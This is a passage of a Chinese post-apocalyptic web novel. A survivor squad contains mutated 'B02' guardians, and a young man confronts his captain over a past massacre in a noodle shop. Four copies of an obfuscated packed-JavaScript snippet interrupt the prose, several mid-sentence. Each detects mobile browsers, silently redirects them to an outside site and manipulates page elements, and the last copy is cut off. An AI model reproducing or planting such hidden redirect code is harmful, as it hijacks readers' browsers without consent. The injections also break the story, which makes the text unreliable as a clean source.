楼依然冷眼扫视过其他六名队员,而后低声道:“这栋写字楼里有两只B02,体型未知,领地未知,从现在起全员闭麦,不要闹出太大响动,其中一个目标初步判定在三楼。” 楼依然说着指向那栋爬满绿藓的大楼,顺着她手指的方向,陆小川瞧见三楼一扇窗子前徘徊着一个身高两米、体态佝偻的人影。 “后援组到对面楼顶找到合适的狙击点,然后时刻待命,其余人在原地等候。” “收到。”剩余六名队员齐声回答。 林乐声和尧子悦背着武器离开后,楼依然一把扯下了陆小川的背包。 “你现在不需要这个了,想活命的话,进楼后时刻跟紧我,脚步放轻,枪不要离手。” 交代完这句,楼依然接过田丰递来的一大捆黑胶塑料管,朝写字楼大门走去。 - 根据《新世界宝典》,B02号变异体代号“地头蛇”,是由守卫某样事物的执念与病毒融合后产生的失控型物种,它是新世界最常见的失控体之一,也是79种已知失控体中唯一一个无需清理的特例。 B02的听觉和嗅觉都极其敏锐,四肢修长有力,现存的B02普遍进化出了锋锐的爪子和牙齿,对于B02的处理手段,书上仅以“收容”二字简要概括,而收容的含义,便是摸清它领地的边界,再用黑胶塑料管组成的防护带完整将其隔绝,以防物资队成员在收集时误入,造成不必要的伤亡。 按照楼依然的指示,进入写字楼后,陆小川步步紧随在她身后,大气也不敢出,有一回楼依然转头时险些撞上陆小川头顶的照灯,只能没好气地低声道:“不用靠这么近。” 就算已知目标位于三楼,却仍有另一只藏于暗处,楼依然如此谨慎,提防的想必也正是这位,在幽暗的楼梯间里缓慢上爬时,陆小川突然想起昨晚在《新世界宝典》中读到的一句话,大意是:如果失控体不见踪影,那它就无处不在。 但陆小川没告诉楼依然的是,他有轻微的灰尘过敏,如果在这种地方吸入过量灰尘打起喷嚏,惹来那位潜藏在暗处的地头蛇,他和楼依然恐怕都要折在这儿,所以大部分时候,他都用手掩着鼻子。 一路有惊无险地到了三楼,走道两旁是紧挨的玻璃写字间,大部分玻璃门前都设有指纹或密码锁,对面挂着醒目的公司Logo,隔着粘满灰尘的玻璃,能看到写字间内损毁的电脑主机与散落一地的文件,经久不干的暗色粘稠物挂在上头,除此之外,整层楼寻不见任何生命特征。 楼依然收起平板,将自己和陆小川的照灯调暗了些,而后放轻脚步朝B02所在的写字间挪了过去。 不知是不是错觉,有那么一刻,陆小川听见一阵低吼从门缝中传了出来,他下意识端枪瞄向楼依然面前的玻璃门,神经紧绷着,随时准备为他的队长保驾护航。 很快,楼依然背对着他摆了摆手,而后拿出两根黑管,扯开红色防护带立在门口,脚步轻快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943303|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走了回来。 “结束了?”陆小川放下枪,满脸惊愕。 “嗯。”楼依然点头,低声道:“这只B02看守的应该就是这家公司,或者更小,只是公司里的一间办公室。” “他看办公室做什么?” 陆小川觉得很无语,像是买好爆米花却只看了一段广告。 “谁知道。”楼依然看上去也很无奈,“另一只应该在楼上,根据电梯边上的说明,上面是居民区。” 收容好第一只B02后,陆小川和楼依然按照平板上标注的位置排查了四楼和五楼,如果目标所在的房间房门紧缩,楼依然会在门口大声嚷嚷几句,以防领地边界延伸到走廊。 陆小川叹服于她的勇气,问她如果地头蛇的领地已延伸到走廊,她就这样贸然在领地内喧哗,惹恼了人家怎么办?楼依然却告诉他,B02不会开门,只会撞门,就算不小心踏进它的领地,它撞门出来也需要一定时间,在那段时间里,他们完全有空余退回到领地之外,届时就算B02撞开门看到了他们,也不会对他们怎么样。 “B02很暴躁,也很危险,但所有B02都有一条铁律——不会离开领地,剩下的那只如果领地范围很广,一定早就和咱们撞面了。” 楼依然说着掏出平板,对着上面的数据又确认了一遍,“从坐标上看,剩下的那只在高层,如果四楼和五楼都没有,那就只剩下六楼了。” 前往楼梯间的路上,楼依然在拐角处停下了脚步。 陆小川跟着看过去,发觉墙面上有块醒目的黑色涂鸦,上面画着一只左眼戴着眼罩的壁虎,壁虎背上还有一串由大写字母和数字组成的代码,代码边上有一个躺倒的数字8——陆小川记得这符号在旧世界又叫莫比乌斯环,象征无限循环。 他在来路上也见过这样的涂鸦,却不记得在末日前看过,所以很显然,这是幸存者的手笔。 陆小川在楼依然身边站定:“这壁虎是什么意思?” 楼依然却没有正面回答他的问题,只是叹了口气道:“他们又换位置了。” 楼依然进入楼梯间前,陆小川抢先为她拉开了门,他还想细问,楼依然却猛地转过头,对他比出一个噤声的手势,陆小川随即绷紧神经,下一秒,他也听到了头顶传来的那阵吱呀声响。 楼梯间通往六楼的门被石砖卡着裂开了一条缝,透过那道缝隙,陆小川看到有什么东西正站在公寓门前,肩膀高耸,双眼泛着猩红色的光。 梁竹说得没错,除了体型巨大,身上没有太多毛发以外,那东西确实像极了一条狗,它有着纤长的四肢,高高竖起的耳朵,发出的声音也和犬科动物类似,类似一种混合着喉音的低鸣。 其实他们的任务到这里就可以结束了。 B02不会离开领地,物资队也没必要到居民区搜索物资,他和楼依然大可将防护带留在这里然后一走了之,但此时此刻,相比B02的外形,陆小川更想知道它究竟在守护什么宝贝。 楼依然默默看着他,在短暂的对视中摸清了他的心思,于是拉开铁门,率先走了出去。 5. 第一次任务(4) 狭长的六楼走廊上,楼依然每迈出一步,那只B02便将身子伏低一点,喉咙里不断发出警告似的低吼,它不时咧开巨口露出森利的獠牙,脚步却始终没离开公寓门前的地垫。 两人就这么周旋了一阵子,正当陆小川准备收枪看戏,楼依然却突然身子一震,紧接着,林乐声的声音从耳机里传了出来。 ——“不对劲!楼队,那里还有一只变异体!” 林乐声嗓音里带着罕见的紧迫,楼依然当下伸开手臂挡在陆小川身前,带着他徐步后退。 与此同时,公寓门前的地头蛇竟弓着身子朝前踏出了一步...... 下一秒,借着照灯的光线,陆小川看到一个通体漆黑的东西出现在了B02身后,它身上的液体在灯光的照射下折射出变化的光晕,半透明的黏膜之下,能隐隐瞧见黑色的长毛。 毫无疑问,那是一只寐鬼。 后退的同时,楼依然时刻关注着门口那只B02的动向。 寐鬼移动前,B02的活动范围只局限在公寓门口,眼下,它前进的步调也与寐鬼的移速相符。 楼依然很快得出了结论。 “这就是它守护的东西。” 她站定在原地,看着正低吼着朝自己缓慢逼近的地头蛇,转头对陆小川道:“一只寐鬼。” “一只地头蛇,守护着一只寐鬼?” 十分钟后,瞧见陆小川眼中的不可置信,梁竹不以为然道:“这有什么?地头蛇的花样多得很,保险箱、结婚证、车子、房子......有次我们还见到一条,守在煎饼摊边儿上狂吠。” “你们真幸运!”齐思远跟着道:“要我说,咱们都得感谢那位关上楼梯间大门的好心人,因为门关了,寐鬼离不开六楼,地头蛇也只能跟着待在六楼,要是把那祸害人的玩意儿放出来,咱们今天可就有的忙了!” 他说完双手合十,对远方深深鞠了一躬,模样之虔诚将众人逗笑了。 陆小川却不觉得这有什么好笑。 刚刚在写字楼,他之所以选择收枪,并不是因为身前站着楼依然,而是因为那只B02眼中分明没有凶狠,相反,他看到的只有惊恐与绝望,就像只被逼到绝路的狗,明明怕得要死,却也只能低吼着露出獠牙,期望以此将入侵者吓跑。 陆小川没再说话,他毕竟是外联队里的插班生,入队前没通过精神考核,不确定在队员面前展现出对变异体的同情算不算是一种不尊重。 在此之前,避难所会为每个牺牲的外联队员张贴讣告,还会在死者头七时举办隆重的悼念仪式,在乏善可陈的避难所生活中,此类仪式显得格外频繁,这说明他身边的七个人大多都在任务中见证过队友的离去,换位思考一下,陆小川大致能理解他们对变异者的恨意。 林乐声为陆小川递上背包时,后者还沉浸在这种愧疚与悲悯交织的复杂情绪里,陆小川说了声谢谢,林乐声跟着拍了拍他的肩,安慰他说,“慢慢就习惯了”,语气里带着慈悲。 陆小川看着他沉默了一会,然后问:“所以,那只寐鬼究竟是他什么人?” “孩子、爱人、父母,这些都有可能。”林乐声回答:“Y03号病毒以侵入时宿主最强的念头为生,所以,B02当时最渴望守护的是什么,变异后眼里就只剩下什么。” “我知道你在想什么。”林乐声接着道:“我第一次见到B02时,也觉得它们和我很像,两年前的那天,如果不是距离爆炸中心较远,身上碰巧又没什么伤口,我如今应该也会变成B02,终日死守在自己的地盘,见到人就发疯一样地吠叫。” 林乐声的安慰很起效,同时也让陆小川感到好奇。 “你要守护的是什么?”他问。 林乐声却轻笑着摇了摇头,“只是些没什么意义的东西。” 前往下一个任务点的路上,大牛贴心地送来了水和威化饼干。 “将就将就吧,晚饭会好点。” 他说:“如果食物味道太大,哪怕隔着三四个街区,B12也能找来。” 陆小川拿着饼干啃下一口:“那看来晚饭也不用期待了。” B12号失控体代号“饕餮”,是贪食者演变而生的失控体,嗅觉极强,且拥有黑洞一般难以填满的胃,在食物匮乏的废土上,一颗面包屑就足以引来五公里外的饕餮,当然,除了正经食物,人类也深得它们喜爱。 “晚饭确实也强不到哪儿去,就是粥和咸菜。” 大牛说着伸手指向远处的山头,“今晚我们在那儿露营,饕餮块头大,爬山很费劲,而且就算真有不要命的来夺食,我们也有足够的地形优势。” 说起饕餮,陆小川想起一件事,他下意识摸了摸自己的制服,问大牛道:“我的前任,就是被饕餮杀死的吧?” 大牛点了点头,“叶巡死得很惨,连块骨头也没留下。” 说这话时,大牛捧着威化饼干吃得很香,陆小川见他脸上没什么悲色,觉得这段对话可以继续下去,于是问道:“所以,当时究竟发生了什么?” 大牛边吃边道:“先是子悦透过望远镜发现了那只怪物,它当时正忙着翻垃圾桶,我和竹子很快就做好了肉泥炸弹,你知道吧?那是对付饕餮最好用的武器,用鲜肉将炸弹包裹起来,吞进去之后再远程引爆,就是制作时只能躲在公厕,用那里的气味掩盖一下......” 说到这儿,大牛心有余悸地紧了紧鼻子,放下了手里的威化饼干。 “在那之前我们用这法子杀死过五只饕餮,本以为这次也出不了什么岔子,我们将制作好的肉弹用保鲜膜包好,交给了楼队,她和叶队就带着枪过去了,后来,子悦看到那东西跑进了超市,楼队和叶队也跟了进去,再后来,超市爆炸了,出来的只有楼队一个人。” “大牛......”尧子悦不知何时出现在那里,她抬手拽住田丰的袖子,神情有点儿严肃。 “这有什么?”田丰挣开尧子悦,嗓音有些颤抖,“川哥有权利知道,你们不都说他人不错吗?你们也想看他去送死吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943304|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>田丰激动起来,说话时嘴里喷出不少饼干渣滓,“叶巡、宋石远、谢文力,还有一年前的那些外联队队员,谁也不知道他们究竟是怎么死的,除了楼依然!” “大牛!”尧子悦抬高了音量,梁竹和林乐声也跟着回了过头,齐思远和季小晴站在他们身后,脸色微微泛青。 唯有最前头的楼依然依旧拿着那只平板,大步朝前走着。 “大牛,”陆小川看向他,“你什么意思?” 田丰嘴角微微颤抖着,在一众队员的注视下,最终还是选择了沉默。 队员们逐渐走远,将陆小川一个人甩在了后头。 他当然明白田丰的言外之意,他想说,那些人的死和楼依然有关,而不论出于威慑还是顾忌,外联队内的其他人想要堵住他的嘴。 他的神情在陆小川看来也并不陌生,两年前的那天,他用同样的目光注视过楼依然,希望从她嘴里得到一个让自己安心的答案,可楼依然的反应只让他感到更加绝望。 末日刚刚发生时,网络尚未切断,手机里充斥着□□杀的新闻,生存的欲望与怪物的出现逐渐模糊了罪恶的边界,使得陆小川难以界定楼依然的行为。 她不愿意告诉他当时究竟发生了什么,而他也不愿仅凭猜测为她安上莫须有的罪名。 他只能对她敬而远之。 在那之后,他看着她加入外联队,搬进B区的单人公寓,看着她作为某次墙外任务的唯一幸存者升为外联队长,搬入A区别墅,看着她叼着烟数落人力班的成员,高价售卖避难所内稀缺的资源,在幸存者庆典上与所长谈笑风生。 一颗种子悄无声息地在陆小川心里播下,逐渐生根发芽,但他选择了忽视。 因为他始终都不愿意相信,楼依然会去害人。 就在刚刚,她用肉身格挡在他与B02中间,威胁降临时,也是她伸手将他护在了身后。 那才是他熟悉的楼依然,看上去冷漠,却会在宿舍楼下喂养野猫,会在地铁上给身旁哭泣的女人留下一颗糖果,会在暴雨天为陌生的同学撑伞。 四周的街景逐渐变得熟悉,那间爬满藤蔓的邮局,那只生了锈的暗红色消防栓,以及那排曾经挺立、如今却已翻倒在地的共享单车...... 那场醒不来的噩梦。 路过梨树小区时,季小晴小声说:“这个小区里好像有很多寐鬼,地点在......荣华面馆。” “不用管。”楼依然淡淡应了声,没有回头。 陆小川却停住脚步,对着楼依然的背影说:“我想去看看。” 队员们纷纷停下,面带疑惑地看向他。 他们大概不明白,废土上到处都是寐鬼,陆小川为何要跑去废弃面馆里观察。 当然,他们更意外的是,这个空降的外联副队,竟敢当众与楼依然唱反调。 在剩余队员的注视下,楼依然沉默了一会,而后转过身,摘下了背上的背包。 “你们在原地等着,我和陆小川很快就会回来。” 6. 第一次任务(5) 末日降临的那天,2029年9月3日的校友会上,时隔一年,陆小川再次见到了楼依然。 他本以为楼依然会和蔡英达一起来,等蔡英达到了他才得知,他们已经分手半年了。 “川哥,咱们都被她的外表骗了,楼依然的心是石头做的,我们在一起半年,连手她都不让我牵!异地之后就开始冷暴力,微信也不回,电话也不接,这谁受得了?哥们儿也不是没人追,切!我现在的女朋友可比她温柔多了!” 蔡英达说得咬牙切齿,同为体育生的李庆便在边上起哄:“所以楼依然现在单身?川哥,这机会你能放过?” 陆小川远远望着独自在人群里发光的楼依然,摇头说“算了”。 “这就对了!”蔡英达立马拍了拍他的肩膀,“天涯何处无芳草,这苦头哥们儿都替你尝过一遍了,真是不尝不知道啊......” 半小时后,副校长发表演讲时,体育馆内传来刺破耳膜的尖鸣。 几乎同一时间,在场所有人都收到了那条紧急预警,内容是“Y市发生严重爆炸,化学污染物可能波及邻近地区,请所有居民即刻返回家中避险。” 即将冲出体育馆大门时,陆小川停下脚步,转身挤过拥挤的人群,找到了楼依然。 “你也是从外地赶来的吧?跟我们一起走吧。” 楼依然站在原地盯着他看了片刻,然后点了点头,将手交给了他。 时至今日,陆小川都不确定这个决定究竟是不是正确的。 那一刻,冲向楼依然几乎是一种本能的反应,他没办法预料到接下来发生的事,更不会想到,Y03病毒打开了楼依然身上的某种开关,让她变成了另外一个人。 - 校友会那天,和陆小川一起离开Z大的一共有七个人,他们都是从外地赶来参加校友会的,订的也都是今晚的车票,无一预订酒店,那天下午,一行七人辗转了十几家酒店,除了爆满和因为事故无法营业的那些,剩余的空房都不足以容纳七个人。 变异体尚未苏醒,逃难的车辆在马路上排起了长龙,不少人听说爆炸产生的化学物质可能对人体有害,纷纷跑去药店抢口罩,一些居民为了争夺物资在超市内大打出手。 李庆刷到那条来自Y市的视频时,所有人都被爆炸中心的场景惊呆了,画面中心是一只直立行走、身上长满银灰色鳞片的怪物,它对枪声和警察的叫喊充耳不闻,弹片在它身上弹起再落下,在它身后,还跟着无数匍匐前行、身上涂满黑色胶水的异形怪物。 除了这条惊为天人的视频,剩下的都是则是幸存者惨叫着奔逃或是自相残杀的地狱图景。 而在他们当时所处的梨树小区,由于地点偏僻,居民大多也都是老人,周遭还是一派宁静祥和、岁月静好的景象。 餐馆老板端上七碗牛肉面,转身时却被段子琦叫住了,她本是新闻二班最不起眼的女生,但在危急关头,却展现出了过人的应变力。 “老板,我们都是从外地来参加校友会的Z大毕业生,我看到店里面还有很大空间,所以我想问......方便的话,能不能让我们在这里住一晚?” 蔡英达立刻反应过来,他跟着望向餐馆老板,语带恳切:“对,我们就住一晚就走,也用不上被褥,对了......”他说着掏出手机,“我可以给您转账,一人100块您看够不够?” 除楼依然以外的六个人同时用亲切的目光看向老板,中年男人面无表情地点了点头,掏出了自己的手机。 荣华面馆的经营者是一对母子,付过钱后,老太太好心地送来几床铺盖,七人鞠躬谢过,蔡英达决定让四个女生睡在装了空调的里屋,他们三个男生则睡在前堂,众人谢天谢地忙活着整理桌椅的时候,只有李庆仍握着手机,眉头紧锁。 “你们知道今天一天,Y市死了多少人吗?” 坐在里屋角落的椅子上,李庆忽然抬起头,面目阴森。 “308人。”他自问自答:“这还不包括被爆炸压在废墟里的那些,你们知道他们都是怎么死的吗?抢夺物资、逃难时与交警或其他司机发生争执,还有一些末日主义者跑到街上放火伤人,Z市目前也在发生同样的事......” 李庆说着举起手机:“你们知道九康桥下的那些流浪汉吗?他们刚刚闯入邻近的小区,用菜刀杀死了十多个居民,目前已知的消息是:灵川省内,包括Y市、Z市在内的九座城县都已被全面封锁,不管爆炸产生的化学物质到底是什么,危害又有多大,可以肯定的只有一件事,我们,已经被放弃了。” 蔡英达看着李庆,一脸不可置信道:“你到底在说什么啊?” 李庆却只是冷笑了一声,“你们没发现刚刚那些暴乱的街区里少了什么吗?” 众人迟疑时,楼依然轻声说出了那两个字——“警察。” “没错,因为他们现在都在这儿。” 他划出下一条视频,画面里是水泄不通的高速收费站,以及站前全副武装、手持盾牌与警棍的特警与便衣民警。 “你们还不明白吗?”李庆从椅子上站起来,一字一顿地说:“他们收到的指令是确保我们不会离开Z市,而不是保护市民们的人身安全。” 一行人震惊到说不出话时,陆小川上前一步,“所以呢,你到底想说什么?” 李庆道:“我刚刚去后厨看过,那里的食物储备足够我们七个人吃上一个月,现在是特殊时期,这家餐馆却只有一个中年男人和一名老人,一旦有饿昏头的人冲进来,我们这些年轻人能顶不少事,我建议明天一早就和他们摊牌,让他们准许我们在这儿住下,直到一切恢复正常。” “如果他们不同意呢?”段子琦问。 空气安静了一会儿,在那场漫长的对视中,蔡英达和李庆达成了某种恐怖的共识。 “那我们就绑了他们。”蔡英达冷冷道:“那老板走路一瘸一拐的,我们有七个人,还打不过两个老弱病残?” 四个女生缩在角落,没有说话。 于是蔡英达转头看向陆小川,“川哥,你怎么看?” 那一刻,诡谲的气氛让陆小川有些失语,他一一望向另外六个人,发觉除了楼依然以外,剩下五个人似乎都在等待他一声令下,从而开启这场疯狂的计划。 陆小川只能笑着摇了摇头。 “不是,你们都太紧张了吧?什么爆炸,什么化学物质,除了手机预警和短视频,我们周围不是一切都很正常吗?我同意李庆说的,如果明天还不能出城,也找不到住处,我们可以和老板商量一下,看他们愿不愿意把我们留下,如果他们不同意,我们就去别的地方看看,绑架什么的,不至于吧?” 陆小川的话没能将剩下的人从恐慌的漩涡里拽出来,女生们有些失望地看着他,楼依然抱起枕头,事不关己地躺倒在角落。 李庆坐回到椅子上:“我只有一句话,灾难发生的时候,不要相信人性。” 在那之后,这件事便没人再提起过。 为了感谢面馆母子的收留之恩,陆小川主动跑去后厨帮他们打扫卫生,但他们显然也知道了外面正在发生的事,陆小川等人安顿下来没多久后,面馆老板就拉上卷帘门,关掉煤气去到了二楼,夜幕降临前,陆小川没再见过他们。 晚上十点,陆小川关上里屋的门,躺倒在冰冷的瓷砖地面上,短视频平台上有关Y市骚乱的视频已被举报删除,带货、吃播、搞笑视频和电影解说恢复了它们的统治,卷帘门外一片寂静,唯有头顶那只旧风扇不断发出吱呀吱呀的呻吟。 那个夜晚本该与二十年来的每个晚上一样,无波无澜地过去。 为了防止有人闯入,陆小川主动选择了距离卷帘门最近的位置。 他没想到,就是这个决定,在那天晚上救了他的命。 - 进入梨树小区后,楼依然将陆小川对讲机上的耳机线拔了下来,接着也拔掉了自己的,她没再说话,只是兀自走在前头,点燃了一根烟。 后来,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943305|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在荣华面馆前站定,百无聊赖地踢着脚边的石头,安静地等着,于是陆小川走过去,掀过损坏脱落的卷帘门,对着空落落的面馆前堂发了许久的呆,直到某一刻,他低下头,注意到了脚边那枚细长的螺丝钉。 他将螺丝钉拾起,细细打量。 “陆小川,我没时间陪你在这儿追忆往昔。” 楼依然掐灭了烟,语气变得不耐,“如果你坚持,我可以把它们放出来,但你应该也清楚,他们都已经死了。” 陆小川盯着螺纹里残留的血迹,淡淡道:“末日病毒不是能让濒死之人复活吗?” “那是濒死。”楼依然上前一步,“你我都清楚,他们在那天晚上就已经死透了,是死透了,你懂吗?留在这儿的只是一具躯壳,被病毒控制的躯壳!” “我知道。” 陆小川点了点头,将螺丝钉握紧在手心。 他们死了,他比谁都清楚。 可他们到底为什么而死?因为他的犹豫,因为人性的懦弱,还是因为楼依然? 锋锐的钉头撕开记忆的缺口,站在血泊干涸处,陆小川逐渐想起那天晚上的细节。 午夜,在他一阵踢打声中醒来,一团黑影猛地朝他扑来,银光闪过时,陆小川下意识握住了面前的刀刃。 鲜血汩汩流下,借着窗外的月光,陆小川认出拿着菜刀的正是面馆老板,他咬着牙,面目狰狞,死命将刀尖对准陆小川的心脏,但陆小川腕力惊人,他紧紧握住刀刃,一时间与中年男人僵持不下...... 当时的他还不确定究竟发生了什么,他觉得一定是出了什么误会,让面馆老板将他认作和那群流浪汉一样的强盗、罪犯,但他从没想过要伤人,即使明天谈不拢,他也不会放任李庆他们动手,他会带着剩下的人离开,就算末日真的来了,幸存的人也没必要自相残杀。 直到老板的母亲从里屋冲了出来,她手上同样拿着一把菜刀,视线下移时,陆小川看到正在她脚下蔓延的血,那时,他才感觉到身下的潮湿,顺着血迹,陆小川看见了躺倒在血泊中的李庆和蔡英达。 陆小川发出一阵怒吼。 握紧刀刃的同时,他开始用一只手在身后摸索,一阵冰冷的金属触感贴近指尖,陆小川将那枚螺丝钉拿起,一把插入中年男人的额角,那人很快嘶吼起来,双手颤抖着握紧了刀柄,但陆小川的吼叫声更厉,他青筋暴起,单手抵住刀刃,另一只手拇指发力,生生将那根螺丝钉按进了男人的太阳穴。 他从未感受过如此强烈的恨意,也从未见过那样的自己。 他几乎是用最残酷最痛苦的方式杀死了面馆老板,然后夺过刀子,在老妇人吼叫着冲过来之前,将刀子捅进了她的心脏。 他扑倒在蔡英达身前,用受伤的右手捂住他流血不止的脖子,对着他大声呼喊,但蔡英达没有反应,于是陆小川又哭喊着去摇晃李庆...... 李庆说得没错,灾难发生时,不要相信人性,是他的犹豫害死了他们,如果他能果决一些,谨慎一些,至少不要睡得那么沉,那么或许,他们就能活下来。 “他们都死了。” 嘴里重复着楼依然的话,陆小川转身看向她,“那你呢?” 这个问题就像钉在他心头的螺丝,在此后的每一个夜晚,不断循环追问。 ——“楼依然,你又是怎么活下来的?” 陆小川永远不会忘记,那天晚上,当他哭到头昏,挣扎着站起身后,在里屋门口看到的那个身影。 月光透过窗帘的缝隙洒落在猩红色的地面,楼依然站在那里,转过身,面无表情地看向他。 陆小川连滚带爬地冲向了她,将一切抛诸脑后,从上到下将她检查了一番。 当时他并没思考过那个问题。 他来不及想,那对母子显然准备杀了所有人,却为何单单放过了楼依然。 因为这在当时并不重要。 重要的是,看到她安然无恙的那一刻,他内心从未如此感激,庆幸。 7. 第一次任务(6) 荣华面馆门前,楼依然掏出第二支烟,陆小川却在点燃前将那支烟夺过来丢到了地上。 楼依然只能抬头看向他,“这个问题,你已经问过我很多遍了。” 陆小川看着她,语气坚决,“可你从来都没有正面回答过。” 屠杀发生的第二天,陆小川第一次问出了这个问题。 当时他刚和楼依然将尸体搬进里屋,正用拖把清理地上的血迹,问出这个问题时,陆小川的语气很温和,他想楼依然此刻一定和他一样难过,蔡英达毕竟是她的前男友,段子琦大学时还是她的室友,虽然事后她没有哭,搬运尸体时也远比他冷静从容,但陆小川知道很多人都会在经历重大变故后选择自我麻醉,这样反倒不健康。 所以,陆小川希望楼依然能说出来,也做好了准备要和她一起承担。 出乎他意料的是,楼依然只是挑了挑眉道:“你不是也还活着?” 在那之后,楼依然跑去后厨清洗拖布,陆小川看着自己缠满纱布的右手,没再过问。 事故发生后,他手上的伤是楼依然包扎的,她在楼上找到了医用胶布,手法利落地将那道狭长的伤口粘合起来,而后为他裹上厚厚的纱布,当时陆小川整个人都有些发懵,身体不住颤抖着,没来得及过问她是在哪儿学到这些的。 在那之后,他便陷入了那场漫长的自我放逐。 他没有食欲,也没有说话的欲望,只是整日守着那扇卷帘门发呆。 他不住回想着那天晚上的每一个细节,试图将时间倒退,重新推演,改写那个血腥的结局,而楼依然则会按时送上夹生的面条,定时为他换药、清理伤口,她说自己在新闻中看到,这种病毒会通过血液进入人体,造成可怕的变异,还开玩笑说,如果陆小川变成怪物,她就只能独守空房了。 但陆小川没有变成怪物。 他不知道这是不是一种幸运,因为那些天,他觉得自己心里已经有什么东西死了,吃饭、睡觉、发呆,这三件事成了他生活里的全部,卷帘门外时常传来惨叫、咆哮、物件敲打与碎裂的声响,但他都充耳不闻。 直到某天,半睡半醒间,陆小川感到有什么温热而柔软的东西压住了他,他睁开眼,看到楼依然正贴在他身侧,纤长的手指支着下巴,上挑的眼角里勾着某种说不清道不明的东西。 “陆小川。”她用邪魅的声线叫出了他的名字,然后慢悠悠地问:“你知道末日降临时,如果一家面馆里只剩下一个男人和一个女人,他们会做什么吗?” 脑子反应过来前,身体率先有了反应。 那一刻,陆小川意识到,他的一部分仍想活下去。 于是他支起身子,目光茫然地问她:“做什么?” 楼依然没有说话,只是微微一笑,拉着陆小川在桌前坐下,而后为自己围上围裙,递上了面馆的菜单。 “当然是点菜!”她看上去十分兴奋,“在世界末日的时候点菜,想吃什么就点什么,还不用花钱,这难道不酷吗!?” 陆小川有些崩溃,他叹出一口气,报出两道菜名,一个小时后,他得到一碗铺满牛肉的夹生面条,和一盘咸得要命的拍黄瓜。 那时,他决定再次问出那个问题。 “楼依然,你到底是怎么活下来的?” 见楼依然不说话,陆小川接着道:“你是不是跑到厕所里躲起来了?还是你醒过来说了什么,让那个大娘心软了?楼依然,我真的很开心你没有死,但你能不能告诉我,那天晚上究竟发生了什么?” 那一刻,楼依然的脸色沉了下来。 她起身离开了饭桌,只留下浅浅的一句,“快吃吧,我做了好久呢。” 两年后,再次站在面馆前堂,楼依然脸上已没了当年那种诡异的愉悦,她像是一块钢铁,没有丝毫温度,让陆小川不禁回想起蔡英达的那句话。 他说,楼依然的心是石头做的。 沉默许久后,楼依然突然笑了起来,开口时语气里带着乖张的嘲讽。 “你是不是想说,是我把你们的计划告诉了那对母子,他们出于感谢,所以才唯独放过了我?” 陆小川盯着她,喉咙像被塞上了一团棉花,他艰难开口道:“所以,是吗?” “是又怎样?”楼依然嘴角依然挂着笑容,“你当时不是也不同意他们的计划吗?就因为那对母子是老弱病残,他们就活该被绑架,被欺凌吗?” “所以你是出于正义?” 楼依然仰头笑了。 “正义?陆小川,睁开眼睛好好看看吧。” 她张开双臂,动作夸张:“现在是新世界,旧世界的道理是行不通的,李庆和蔡英达没有下手,死的就是他们,就算他们动了手,那对母子死后也会变成B02,到时候他们还是会死,你,也会死。” 说完这些,楼依然转身准备离开,跨过门槛前,又突然停住。 “正义,对,你知道什么是正义吗?” 她拔出腰间的枪,大步来到陆小川面前,而后将枪口对准陆小川的眉心,一字一顿道: “这,就是正义。” 被那把枪指着,陆小川眼里的光逐渐暗了下去。 “你很喜欢新世界对吧?” 他沉声问:“因为在这个世界,你就是正义。” “当然。” 楼依然收起枪,毫不犹豫:“无论你如何怀念,旧世界已经死了,蔡英达、李庆、段子琦、陆月、李晨霜,他们也都死了。 “说实话,无论是谁造成了那场爆炸,我都很感谢他。 “因为旧世界糟透了,旧世界里的一切,都糟透了。” 在那段对话的最后,陆小川看见楼依然眼里闪烁着某种东西。 那似乎是一种深切的痛与恨,让他不禁猜想,那样光鲜的楼依然,那样完美的楼依然,在旧世界究竟经历过什么。 但无论如何,他终于得到了苦寻已久的答案。 他和楼依然,从一开始就是两个世界的人。 楼依然走后,陆小川搬开里屋门前堆叠的桌椅,打开了那扇门。 屠杀发生后的第十五天,那扇门内第一次传来声响,楼依然进去看了一眼,片刻后走了出来,默默将前堂的桌椅堆到了那扇门前。 那些天,不论陆小川说什么,她都不准他推开那扇门。 两天后,楼依然将收音机拿到陆小川面前,告诉有幸存者在附近建立了避难所,她觉得他们应该去那里。 陆小川没有说话,只是默默守着那扇门。 第三天,楼依然拿出了喷火枪和二锅头。 两年后,陆小川终于推开了那扇门。 那里面并没有什么可怕的怪物,在那群身上粘着黑色胶状物的寐鬼中间,有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 